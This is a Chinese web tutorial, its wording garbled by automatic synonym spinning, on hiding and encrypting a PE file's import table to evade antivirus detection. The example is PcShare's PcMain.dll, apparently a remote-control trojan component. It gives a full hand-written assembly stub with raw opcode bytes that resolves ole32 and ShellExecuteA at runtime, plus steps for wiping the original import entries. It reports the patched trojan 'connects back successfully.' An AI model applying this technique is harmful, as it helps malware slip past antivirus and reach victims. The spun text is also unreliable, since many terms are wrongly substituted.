设为主页 | 加入收藏 | 繁體中文

输入表隐藏、加密的原理和手工实现

  一、前言:如今对输入表的查杀曾经成为杀毒软件杀毒的一个重要方面,没有一个杀毒软件不把输入表作为查杀的东西,通常的输入表移位、重修曾经不能作为免杀的重要本领,可以说杀毒软件也在逐步进步,而我先前倡导的输入表顺次号重修也由于存在系统兼容性问题不能作为输入表免杀的本领。怎样转变输入表部分的内容与结构,使其与原先的不同,这便是本文要探究的问题。
  二、目的:通过本文的学习,可以掌握手工导入输入表和手工加密输入表函数的名称的办法,并能学习到汇编言语的精辟。
  三、根本知识
  在开始之前,我们先来相识二个kernel32.dll的函数的利用要领,即:kernel32.LoadLibraryA和kernel32.GetProcAddress,它们是本文要用到的二个要害函数。详细的函数先容可以看看这篇文章:《3个脱壳相干的重要函数先容》http://bbs.pediy.com/showthread.php?threadid=20230
  1、LoadLibraryA函数
  LoadLibrary函数是把指定的可执行模块映射进挪用历程的地址空间。通俗的说,如步伐需要挪用ole32.dll内里的CreateStreamOnHGlobal函数,首先应该用LoadLibraryA函数找到ole32.dll的句柄。然后凭据这个句柄用GetProcAddress找到CreateStreamOnHGlobal的内存指针。
  它有一个参数,即静态链接库名称的内存地址。汇编言语是如许实现的(曩昔面为例):
  PUSH 10018888   //10018888指向ole32.dll名称。
  CALL DWORD PTR DS:[10019990]   //10019990是LoadLibraryA的内存指针。
  结果放在EAX内里,前往值为模块句柄。
  2、GetProcAddress函数
  GetProcAddress函数前往指定的输入静态链接库内的函数地址。它有二个参数。汇编言语是如许实现的(曩昔面为例):
  PUSH 1001888C   //1001888C指向CreateStreamOnHGlobal名称。
  PUSH EAX   //EAX的值为LoadLibraryA的前往值,即ole32.dll的句柄。
  CALL DWORD PTR DS:[1001999C]   //1001999C为GetProcAddress函数的内存指针。
  结果也放在EAX内里,前往值为DLL输入函数的内存地址。
  四、输入表加密东西的原理和优缺点
  我在之前的免杀文章中采用了一个加密东西,可以用来加密EXE的输入表,通过这个东西加密之后,整个输入表大部分消散了,只剩下kernel32.dll和它的二个API函数,便是下面先容的二个,LoadLibraryA函数和GetProcAddress函数。它加密的原理便是采用LoadLibraryA函数和GetProcAddress函数在步伐中用代码把加密的输入表DLL的名称以及API函数的名称和内存指针恢复,用汇编言语实现是很简略的。
  这个加密东西的缺点是只能加密部分EXE文件(虽然我对加密东西举行了一个修正,但据反应,有些EXE文件照旧不能用来加密输入表),不能加密DLL文件。而且用这个东西加密后再通过我的改壳免杀处置惩罚办事端的要领曾经被瑞星关注了,瑞星就杀在加壳后的输入表GetProcAddress函数上。
  五、手工编写输入表隐蔽和加密代码
  如今开始本文的重点,便是用手工编写代码转变输入表的结构,隐蔽部分输入表。我们以Pcshare中的PcMain.dll为例,为什么采用这个做为例子,由于下一个教程我预备出DLL改壳免杀的教程,用这个教程为下一个教程做铺垫。
  我做二个示范,辨别属于二种情况,一种是隐蔽输入表中链接库DLL和其所有API函数,另外一种是只隐蔽链接库DLL中的某一个API函数。至于加密函数名称,可以采用我的输入表加密函数名称的办法(双字节异或加密),这里不做先容了,一样平常采用隐蔽输入表就可以达到免杀的目的。
  PcMain.dll中ole32.dll只有一个函数CreateStreamOnHGlobal,把ole32.dll和其CreateStreamOnHGlobal隐蔽, 另外隐蔽shell32.dll中的ShellExecuteA函数。
  1、加空区段。作为代码写入的地区。记住步伐原入口点为100116E3。
  2、写入代码。一样平常采用PUSHAD开始,POPAD结束,以避免不须要的错误。同时采用CALL(下一句的地址)和POP结构实现步伐的自定位,通过内存的绝对地位使步伐也能用于DLL文件的输入表隐蔽。
  我们记下几个内存值:
  步伐新入口点10018000
  EBP:10018000
  ole32.dll名称肇始内存地址:1001333C(用C32ASM探求,再换算),与EBP的差值为4CC4。
  CreateStreamOnHGlobal名称肇始内存地址:10013326(用C32ASM探求,再换算),与EBP的差值为4CDA。
  CreateStreamOnHGlobal原步伐中肇始内存指针地址:1001236C(在OD里同时按CTRL和N,再查找),与EBP的差值为5C94。
  Shell32.dll名称肇始内存地址:10013318(用C32ASM探求,再换算),与EBP的差值为4CE8。
  ShellExecuteA名称肇始内存地址:100132E0(用C32ASM探求,再换算),与EBP的差值为4D20。
  ShellExecuteA原步伐中肇始内存指针地址:10012248(在OD里同时按CTRL和N查找),与EBP的差值为5DB8。
  LoadLibraryA函数内存指针:100121BC(在OD里同时按CTRL和N),与EBP的差值为5E44。
  GetProcAddress函数内存指针:1001210C(在OD里同时按CTRL和N),与EBP的差值为5EF4。
  开始写代码,看操作。
  代码如下:
  10018000     60               pushad
  10018001     E8 00000000     call PcMain01.10018006//自定位
  10018006     5D               pop ebp//EBP的值为本行地址
  10018007     83ED 06         sub ebp,6
  1001800A     8BDD             mov ebx,ebp
  1001800C     81EB C44C0000   sub ebx,4CC4//EBX指向ole32.dll名称肇始内存地址
  10018012     53               push ebx//作为参数进栈
  10018013     8BDD             mov ebx,ebp
  10018015     81EB 445E0000   sub ebx,5E44//EBX指向LoadLibraryA函数内存指针
  1001801B     FF13         call dword ptr ds:[ebx]//挪用LoadLibraryA函数
  1001801D     8BF8             mov edi,eax//结果放在EDI
  1001801F     8BDD             mov ebx,ebp
  10018021   81EB DA4C0000   sub ebx,4CDA//EBX指向CreateStreamOnHGlobal名称肇始内存地址
  10018027     53               push ebx//参数进栈
  10018028     57               push edi//参数进栈
  10018029     8BDD             mov ebx,ebp
  1001802B     81EB F45E0000   sub ebx,5EF4//EBX指向GetProcAddress函数内存指针
  10018031     FF13             call dword ptr ds:[ebx]//挪用GetProcAddress函数
  10018033     8BDD             mov ebx,ebp
  10018035     81EB 945C0000   sub ebx,5C94//EBX指向CreateStreamOnHGlobal原步伐中肇始内存指针地址
  1001803B     8903             mov dword ptr ds:[ebx],eax//将CreateStreamOnHGlobal内存地址放入原内存指针地址
  1001803D     8BDD             mov ebx,ebp//以下步骤同上,处置惩罚ShellExecuteA
  1001803F     81EB E84C0000   sub ebx,4CE8
  10018045     53               push ebx
  10018046     8BDD             mov ebx,ebp
  10018048     81EB 445E0000   sub ebx,5E44
  1001804E     FF13             call dword ptr ds:[ebx]
  10018050     8BF8             mov edi,eax
  10018052     8BDD             mov ebx,ebp
  10018054     81EB 204D0000   sub ebx,4D20
  1001805A     53               push ebx
  1001805B     57               push edi
  1001805C     8BDD             mov ebx,ebp
  1001805E     81EB F45E0000   sub ebx,5EF4
  10018064     FF13             call dword ptr ds:[ebx]
  10018066     8BDD             mov ebx,ebp
  10018068     81EB B85D0000   sub ebx,5DB8
  1001806E     8903             mov dword ptr ds:[ebx],eax
  10018070     61               popad
  10018071   - E9 6D96FFFF     jmp PcMain01.100116E3//跳回原入口点
  二进制代码如下:60 E8 00 00 00 00 5D 83 ED 06 8B DD 81 EB C4 4C 00 00 53 8B DD 81 EB 44 5E 00 00 FF 13 8B F8 8B DD 81 EB DA 4C 00 00 53 57 8B DD 81 EB F4 5E 00 00 FF 13 8B DD 81 EB 94 5C 00 00 89 03 8B DD 81 EB E8 4C 00 00 53 8B DD 81 EB 44 5E 00 00 FF 13 8B F8 8B DD 81 EB 20 4D 00 00 53 57 8B DD 81 EB F4 5E 00 00 FF 13 8B DD 81 EB B8 5D 00 00 89 03 61 E9 6D 96 FF FF
  3、删除原链接库DLL和其API函数指针。对付ole32.dll我们采用LORDPE举行操作,我们在输入表里删除ole32.dll,对付ShellExecuteA我们采用C32ASM打开文件,凭据下面的ShellExecuteA原步伐中肇始内存指针地址换算成偏移地址,然后将其填充为00。如许我们的修正就好了。
  修正好的输入表里我们删除了ole32.dll,ShellExecuteA虽然在输入表里还存在,但是它的内存指针曾经没有了,可以用OD看下,同样按CTRL和N,找到ShellExecuteA,看它的内存指针酿成了00。我们在Od跟踪下,指针恢复了。
  测试上线成功。功能无损。
  这种要领实用于所有PE文件,包罗EXE和DLL文件的输入表处置惩罚。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: